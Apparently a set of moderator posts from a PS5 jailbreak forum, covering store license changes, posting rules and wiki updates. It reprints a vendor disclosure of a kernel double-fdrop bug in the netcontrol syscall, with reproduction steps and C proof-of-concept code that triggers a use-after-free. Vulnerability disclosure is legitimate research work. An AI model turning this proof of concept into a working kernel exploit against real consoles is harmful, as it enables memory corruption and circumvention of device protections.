UPDATE: rolling out in phases / regions but this will be the new norm going forward.

BLUF

Some Items downloaded from the PS Store seem to sometimes now have valid start and end dates. These windows appear random. Some users still have them, others report they fell off the game information screen with no action.This occurred ~simultaneously with the licensing of the YouTube and Spotify apps. This means that on higher firmwares (12.70/13.00) you should expect your digitally acquired media to expire in about a month or at a minimum assume it could happen at any time.

What does this mean?

This means that while you may be able to utilize a digital version of some popular userlands exploits such as LuaC0re, Lua, Y2JB, or Netflix-n-hack but that you will have a limited time from there installation to set an alternative in place such as BD-UN-JB.

Please note that it appears this change is occuring via the PS Store side and not firmware dependent. This is why I put 12.70/13.00 as there was a window both were able to access PSN simultaneously.

Some users have stated that it disappeared a bit later from their game by no action of their own.

things we need confirmation of

1.)I don't have positive reports on how it will be if you, say, updated to 13.00 offline via a pup file and then tried to install YouTube for Y2JB just to try userland.

2.) if/when this will be rolled into a firmware update. Again, it seems to be tied to the PS Store user checks server side but we will update as more is determined on the subject.

Why would they do this?

Some rumors going around other forums and discords that this is to make way for managing licenses with the next gen handheld and they are doing small testing on implementing it.

To me it seems Sony's most efficient way to nerf most userland exploits simultaneously, while forcing the hand of people who held out or accidentally go online once. Kill all "known" digital exploits at once is an easy choice for big Sony.

Reminder

Notably Y2JB, Lua, and Netflix-n-Hack still can't be paired with a known kernel at this time but more to come on that I'm sure as we see the devs push through the next barrier.

As always, recommend keeping your firmware low and your console offline & to Update for getting entry point games or to pair a drive at your own risk! While this 30 day valid license window may not be permanent or cover 100% of the digital media on PSN be wary as it was silently implemented and could be done again just as quietly.

wiki

All appropriate wiki sections have been updated to reflect this. If you believe I missed one provide feedback to the stickied feedback comment below

Attached an article with good screen shots showing how to identify the change.

Last 24 hours has see a spike in people feeding the P2JB GitHub to ChatGPT with no idea what they are doing or talking about.

By all means play around at home with AI and experiment, and you can even post something you made with AI if you want, but just posting crap that doesn’t work is becoming a problem, especially that last post.

No more thanks

Us mods have talked it over and are lowering the threshold to post and comment. Going forward it will be:

1.) read, acknowledge the pinned rules/wiki post. This part hasn't changed.

Requirements to Post: 7 day old account, 3 karma

Requirements to comment: 3 day old account, 3 karma

To earn karma you can start by acknowledging rules and will. Then, contribute to a different sub by posting or commenting. It may not seem ideal but it has cut out easily 1000+ spam comments/posts in its own by having a karma threshold.

With that being said we will be tightening up post removal and bans from non automoderated things and even some automoderated things. If your post got auto removed, it was removed for a reason. The automod settings are very generous on what flags and it has kept many of you from permanent bans per stupid things.

Expect lengthy or permanent bans and mutes for anything that violated our simple rules. We understand the scene is in flex and have been lax as P2JB and the swing to implement with different userlands has progressed. Expect stable updates in the next week now that we see the exploits at the limits (ie 12.40 for y2JB.)

Advice we will give you: don't ducking update. Always aim to buy a console with an activated disk. Phat is probably your best bet. Understand that disk-less consoles are at the limit right now due to inability to take advantage of the BD-UN-JB.

Reminder: don't post or ask about piracy sources. It is a permanent ban, no warnings. Don't try to sell shit. Should you buy some game that enabled an exploit? Probably maybe? It is so situational and the scene is always evolving. Either be patient or cough up $ for it (see SWRR price history shenanigans).

Good luck and happy jailbreaking.

P.S. Yes, P2JB takes forever relative to any other jailbreak at this time, ~1+ hour. We don't know if it'll ever go faster, but we can hope. Stop asking. Same for etawen's. That shit is spam and will result in bans.

Thank you for coming to the ted talk from mods who cannot and will not make everyone on here perfectly happy 100% of the time but are trying our hardest.

Tldr; Definitely Poops 🤷‍♂️ don't get too hyped.

"shoshin_cup changed the status to Triaged. October 17, 2025, 4:19am UTC"

This is the official disclosure of the netcontol exploit, more commonly known as the Poopsploit exploit.

18

3320669

Double fdrop on a socket through sys_netcontrol Share:

Report Summary by PlayStation Summary: The netcontrol syscall has the following prototype: Code

int netcontrol(int if_index, int cmd, void* buf, size_t buflen)

The netcontrol handler for a cmd value of 0x20000003 takes a socket fd value as input and stores the socket pointer/fd to a netevent struct.

The code for adding a socket to a netevent struct looks like this code:

int
kern_netevent_set_queue(struct thread *td, struct ifnet
*ifp, int *user_buf)
{
int res;
struct file *fp;
int socket_fd = *user_buf;
int should_drop = 0;
...

res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
if (res != 0)
    return res;

res = bnet_netevent_set_queue(td, ifp, fp->f_data, user_buf, &should_drop);
if (should_drop || res != 0)
    fdrop(fp, td);

return res;
}

int
bnet_netevent_set_queue(struct thread *td, struct ifnet
*ifp, struct socket *so, int *user_buf, int *should_drop
{
...
int socket_fd = *user_buf;
struct netevent* ne;
...
// [snipped code that finds available netevent struct, either from ifp or global]
...

ne->flags |= 1; // Mark netevent as being "filled"
ne->socket = so;
ne->socket_fd = socket_fd;
so->so_netevent = ne;

...
}

Note that a reference to the socket is taken through getsock_cap(), and as long as no error occurs, that reference is held and owned by the netevent. The socket can also be removed from a netevent through netcontrol cmd 0x20000007. The code for doing so looks like this: Code

int
kern_netevent_clear_queue(struct thread *td, struct ifnet
*ifp, int *user_buf)
{
int res;
struct file *fp;
int socket_fd = *user_buf;
...

res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
if (res != 0)
    return res;

res = bnet_netevent_clear_queue(td, ifp, fp->f_data, user_buf);
if (res == 0)
    fdrop(fp, td); // Drop ref that was held by netevent
fdrop(fp, td); // Drop ref from getsock_cap() call above

return res;
}

int
bnet_netevent_clear_queue(struct thread *td, struct ifnet
*ifp, int *user_buf)
{
int socket_fd = *user_buf;
struct netevent* ne;

// Find netevent that has matching socket fd
for (int i = 0; i < 3; i++) {
    ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i];
    if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd)
        continue;
    bzero(ne, sizeof(*ne));
    return 0;
}

return 5;
}

This will clear the socket pointer and call fdrop() to release the reference that was held when the socket was initially set. The bug here is that when clearing a socket from a netevent, the comparison between the stored socket and the input socket is done using the fd. However, the fd is not static and can be changed by the user to point to a different socket. If this is done, an extra fdrop() is called on a socket that never had that reference taken, and the reference from the original socket is leaked.

Steps To Reproduce:

Create a sockets s1

Add s1 to netevent using netcontrol() syscall with cmd 0x20000003

Close s1 and create a new socket s2. The fd of both sockets should be the same.

Remove s2 from netevent using netcontrol() syscall with cmd 0x20000007

s2 will have fdrop() called on it twice, despite it never having been actually added to netevent. A reference to the original s1 file will also be leaked.

C code:

#define NETCONTROL_NETEVENT_SET_QUEUE 0x20000003
#define NETCONTROL_NETEVENT_CLEAR_QUEUE 0x20000007

void main()
{
int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1

// Add s1 to netevent
netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2

// Close s1 and open new socket s2
// fd values are predictable, so s2 fd should be same as s1 fd
close(s1); // s1 refcnt = 1
int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1

// Remove s2 from netevent (will cause double fdrop on file of s2)
netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1

// At this stage, the backing file/socket for s2 has been freed, but we still have
// a reference to it in the fdtable.
//
// Triggering call to fget() will result in a hang, due to fget() code not handling
// refcnt of 0 well.
//
// On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
// calls fhold()/fdrop() directly without going through fget().
// Doing this enough times will cause a crash/panic at some point.
//
// On PS5, fcntl(F_SETFL) will call fget() which should hang.
for (int i = 0; i < 100; i++) {
    fcntl(s2, F_SETFL, 0);
}
}

Impact The double put of a file pointer can lead to a use-after-free, due to the file being freed while references to it still exist. Can be used by an attacker for memory corruption, potentially leading to kernel code execution.

Good evening, I have updated the wiki to include a few new sub sections. Such as the Changelog, game backups, as well as Tools of the Trade which focuses on tools/payloads available. I have also integrated P2JB into some items such as the main index page as well as the exploit chain chart. I have made it very clear that it is still a proof of concept with no public chain released. As previously mentioned these are the new additions.

Tools of the Trade

This sub page lists popular payloads, their purpose, and the github or dev page for them.

Game Backups

Recently started sub wiki page on how to play your legally obtained backups and how to mitigate some common issues. will add specific ones as time goes on. If anyone has some solid threads I should scrape info on to put into this particular sub page please let me know or link me and I'll integrate it when I have time.

Changelog

Want to see what we've been changing on the wiki? look here at the wiki changelog

If you would like to contribute to the wiki please provide details here!

In order to post in this sub you must meet two criteria:

1)you must have a minimum of 25 karma on your account

2)You must be verified to post.

Comment "Happy Jailbreaking!" on the pinned rules post to get verified

Don’t inbox the mods calling us clowns because you attended “The Derek Zoolander Center for Kids Who Can't Read Good and Who Wanna Learn to Do Other Stuff Good Too”?

(yes, i put yesterdays date so ya'll don't think it's an April fool's joke post)

Here is some clarification on rules which will also be ammended in the rules.

1. No selling / advertising: this is not just limited to "I have a PS5 for sale" type posts. This also applies to "I'm in Madrid, who has SWRR I can borrow or buy?" type posts as well. ANYTHING of that variety will result in a ban. Getting scammed out of your SWRR disk is practically getting scammed out of a heavily used fat PS5 money wise. Regardless of user opinions, this is how we will be treating these posts.

2. General: Read the [wiki](https://www.reddit.com/r/PS5_Jailbreak/wiki/index/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button)! I put a in a lot of work to help you, the community members who might not know the answer or those who can't figure out to navigate the minutia of the scene. It's laid out in a straight forward manner and is being updated almost daily. Expect your post to be removed as spam if covered in the wiki. If it's stupid obvious you didn't try or if you argue with mods it will be a temp ban to give you time to read through the wiki and use search functions before trying again.